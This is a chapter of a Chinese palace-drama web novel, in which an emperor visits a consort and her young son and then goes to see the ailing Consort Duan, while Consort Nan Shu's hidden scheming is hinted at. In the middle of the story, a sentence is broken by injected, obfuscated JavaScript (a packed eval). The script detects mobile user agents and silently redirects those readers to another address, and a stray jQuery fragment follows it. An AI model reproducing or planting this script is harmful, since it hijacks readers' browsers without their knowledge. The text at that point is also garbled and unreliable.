“父皇看看,比之上次是不是进步了?”
霍元修今日穿的喜庆。
一身暗红烫金半褂,脚底踩着双鹿皮小靴,脖子上还带了一根金项圈,正昂着脑袋,圆圆的黑眼睛里洋溢着期待。
因炭火烧得热的缘故,脑门上还渗出了些汗。
皇帝失笑,替他揩了把汗,这才低头去看画。
这幅画山峰叠嶂,雾暗云深,崖上的松树卓然独立,缥缈孤立之感跃然纸上。
美中不足的是笔触间的墨迹控制得不算太好,着色深浅还需再把握些。
不过十一向来喜欢浓墨些的,也算是自成风格,称不上缺点。
“此画不错。”皇帝侧过头看着南姝,语带笑意,“爱妃可偏颇了。”
南姝嗔他一眼:“皇上幼时画得可好多了,十一如何也不及皇上的。”
接着又叹了一句:“皇上惯会宠着他,无怪乎元修见了父皇要比见母妃高兴许多。”
皇帝闻言心情愉悦,戏谑道:“爱妃可是吃了味?”
“臣妾可不敢。”
南姝偏过头,小声嘀咕:“你们父子俩就会欺负我一人。”
“连窗边的那只瓦雀也是,平日里元修作画时,它还会陪在一边。臣妾唤它却是不理的。”
被点名的瓦雀无辜地歪了歪脑袋。皇帝扫了那瓦雀一眼,心里更觉好笑了。
三人又去看画,皇帝甚至来了兴致起身改了几笔,氛围和融得像是民间普通的一家人。
门帘处传来了些许动静。
南姝抬眼望去,发现是桃杏进来问:“娘娘吩咐的香莲炖汤火候正好,可要再多备些膳食?”
这话便是询问皇帝午间在不在此吃饭了,只是由一个宫人问出来如何都是不合宫规的,且有打听帝王行踪的嫌疑。
南姝沉下脸,正欲开口怒斥时,皇帝拦了她:“命人备膳吧。”
于是这顿午膳便定下了。
皇帝今日心情不错,席间也没那么多规矩,问了霍元修几句课业的问题,见他竟都答的上来,又夸了几句南姝教导有方。
膳后,南姝服侍着皇帝午睡。
霍元修见状自是也回了自己住处,临走前还跟姚公公问了礼。
姚公公笑着还礼,心里不免将他赞赏一番。十一皇子四岁便有如此气度,可见南修仪的用心。
福熙阁燃的香是由南姝亲自调的,味淡却安逸,助眠效果是极好的。皇帝近些天有些失眠的毛病,没成想这一觉睡得舒畅,疲惫去了大半。
“爱妃这次调的香味道特别,倒是令朕也想要一些了。”
南姝正在为他梳理头发戴冠,闻言柔声道:“早早就吩咐了宫人备好了,只是迟迟不敢送去,怕皇上看不上呢。”
皇帝朗声一笑,揽着她的肩膀:“爱妃多虑了,这香正合朕的心意。”
话音刚落,皇帝蓦地看到桌案上放着黄花梨的木箱。
“那是何物?”
结果南姝因他这话慌乱了一瞬,迟疑片刻才小声道:“若是臣妾说了,皇上可别生气。”
皇帝看她一眼,笑道:“爱妃心中,朕竟是那等喜怒无常之人。”
南姝忙拉着他的衣袖,摇头。
“自然不是,只是,臣妾备了些人参、灵芝之类补身体的药材。本想着下午去看一看姐姐的。”
边说边偷偷看了皇帝一眼。
皇帝磨挲着扳指,脸上的笑容淡了些。
南姝转了转眼眸,又道:“近些日宫里都在传姐姐身体不好,臣妾怕她是因为点了万愿灯才落得如此。”
“皇上别再生姐姐气了,想必她已知错了。”
室内霎时间安静下来,捧着衣冠的宫人们皆不敢出声,面上都浸出些汗来。
“这么说,还是朕的错了?”
“臣妾非是这个意思。”南姝忙跪了下来,抬眼祈求,“皇上乃是世间最尊贵之人,容量如海,自然不会跟姐姐计较的。”
“只是姐姐不易,臣妾斗胆想为姐姐求个恩典,皇上可否去看看她?”
南姝生得柔弱,水雾般的眼睛欲语还休,更是楚楚可怜。皇帝凝视着她,不由得失了神。
见皇帝似是陷入了回忆,南姝眼神一暗,面上却仍是疑惑轻轻唤了一声。
对面的人沉默良久后终于开了口:“便依你。”
……
絮因畔的雪清扫得干净,只是这处处枯树配着老旧的房屋未免显得有些萧条。
皇帝几乎从未仔细看过这块祈福之地。
这地方乃是太祖期间建的,他作为子孙也无法说些什么。絮因畔留存至今,时常有太妃乃至嫔妃来此处礼佛。
他虽不喜也无法推了这地,只做眼不见心不烦。
未曾想这里建得这般简陋,簌簌风声钻进了屋里,又将屋内的人声带了出来。皇帝忽而停住了脚步,按住正欲出声的南姝。
短促的咳嗽声响起,一声急过一声。
“娘娘您要起身做什么?”
“今日还没诵经。”
桐君无奈扶着端妃起身,只是声音带着哭腔显然气急了。
“奴婢犟不过您,但是您现在连药都喝不下去了,如何还能去佛堂诵经?”
端妃捂着胸口缓了好一阵后,才轻声道:“心若不诚谈何为民祈福。”
这话说完又是一阵咳嗽,只是这次声响混着嘶哑,又似无力,让人听着只觉这病人似是连咳嗽的力气都没有了。
“若是让七公主知晓了,怕是要心疼地掉眼泪。”
端妃叹了声:“别说便是了。”
桐君提高了声音,泣道:“娘娘不让告诉七公主,也不让告诉皇上。只一个人挨着,这样如何能好?”
“舍我一人也无妨。”
“娘娘怎能说出这种话!”桐君咚的一声跪下,“娘娘不顾及自己的身子,也不顾及陛下了吗?”
屋中安静一瞬。
“可有庆丰的消息?”
桐君抹了把眼泪:“听宫人们说,灾患已控制住了,在好转呢。”
端妃喃喃自语:“如此也好,也算死之前帮到了他。”
听到这句话的南姝眼眸暗了暗,见皇帝面色沉下,便不经意地拂了下裙子。
身后立刻有个小太监哎哟一声倒在了地上。这动静把里间的人吓到了,桐君忙厉声问道:“谁!”
皇帝略皱了眉,并未回头去看,进了厢房,南姝随即跟上。
姚公公冲着身边的宫人使了个眼色,那倒地的小太监顷刻间便被捂住嘴拉走了。
一进厢房便能闻到屋内浓郁的药味,虽是进了屋,可也没比外面暖和多少,连那些炭火都奄奄一息的。
屋内乍然进来这些人,端妃初时怔了怔,回过神来才发现是皇帝。
本想跪下行礼,只是这一番动作像是耗费了她全部的力气,才屈了膝便有些头晕目眩的趋势,要往下倒去。
皇帝见状大步过去打横抱住了她,将她安置在床上。
几日不见,怀中人轻了不少,本就消瘦的身躯更显单薄。
宛如纸片般。
皇帝沉声道:“太医呢?这般严重也无人报与朕。”
见天子生了气,姚公公忙上前一步:“毛太
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15200116|158524||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
医前两日在雪中不小心滑倒摔断了腿,请了几日假。”
这话反而令皇帝气笑了,脸色肉眼可见地阴沉下来:“朕的太医院莫不是只有他一人?”
帝王发怒,威仪赫然凌厉。房内氛围顿时紧张起来,众人忙跪了一地。
南姝上前一步劝慰:“皇上息怒,姐姐的病向来由毛太医诊治,他最是了解姐姐的身体。”
又着急地看向端妃:“姐姐怎地这般消瘦,不过短短几日,这身子怎么能熬得住!”
说者无言,听者有意。桐君见皇帝皱了眉,忙道:“毛太医此前来看过,开的药方娘娘一直在吃,只是怎么着都不见好。”
南姝刚想开口,咳嗽声又响起来。
这次咳得要小声许多,但那压抑的声音反而听着令人揪心,所有人都能听出来端妃是强忍着。
皇帝怒道:“还不快去把当值的都叫过来!”
姚公公忙应了一声,招来宫人耳语。不多时,房济世、左之问等人便到了,几人皆是喘着气,身上沾了一层雪花。
二人按皇帝要求依次为端妃诊脉,得出的结果均是一致。端妃娘娘的病情乃是受寒所致,寒气已侵入心脉,再不可受累必须吃药静养。
若是不管不顾下去,怕是……
那未尽之言自是都懂。
南姝垂眸捏了捏帕子。若是连房副使和左院判都这样定论,想来姐姐的身体确是如此了。
思及此处,南姝目露心疼:“若是这样,人参、灵芝那些补身体的药材姐姐可能吃?”
左院判躬身回道:“自是可以。只是需慢慢加些进去,以免难以受用。”
听了这话的南姝,忙命身后的桃杏将黄花梨木箱搬了过来交由太医检查,嘴上道:“劳太医看看,这些可行?”
那木箱摆在众人眼前,便是不识药的人看一眼也知这些药材价值不菲,收集起来极为不易。
左院判仔细看了眼,肯定道:“都是极好的,端妃娘娘用得上。”
南姝闻言便去看皇帝:“幸而臣妾一直备着,也算帮到了姐姐一次。”
只是,这次并未得到回应,皇帝留给她的只有背影。
皇帝静静地坐在床边,垂目凝视着身前的人。若不是亲眼所见,他竟不知端妃身体已到了这等地步。
她的脸色苍白似冰,若不是咳得用力才致使脸上有些红色,瞧着便如同失了生气的模样。
一双手也瘦的只剩下骨头,正紧紧捂着嘴,似是怕自己的咳嗽声惊扰旁人。
那双泛红的眼悄无声息地看了自己一眼,盈着的泪润湿了长睫,颤动着快要落下。
皇帝凝目不语,片刻后伸手拂去了这滴泪珠。
南姝垂眸遮住了眼中的情绪,上前一步跪下:“姐姐如今病重,这絮因畔怕是难以养病,臣妾恳求皇上允姐姐回长定宫修养。”
许久后,皇帝的声音响起。
“姚齐顺,命人将朕的轿辇抬过来。”
这话一出,南姝眉间微动,不过面上仍是担忧状,对着端妃道:“经此一次,盼望姐姐早些好起来,切莫再伤及自身了。”
肺腑之言,如此“动听”,桐君的手逐渐握紧。
……
从絮因畔回去后,南姝一个人在屋中坐了很久,宫人们皆是被她赶了出去。
眼看着过了酉时,桃杏踟蹰着敲了门,站在门边小心询问晚膳。
南姝看了她一会儿后淡笑道:“你跟着我也有几年了,年关将至,想必家中也需置办,去库房领些银钱吧。”
桃杏大喜,自是叩拜。
“把小德子叫来。”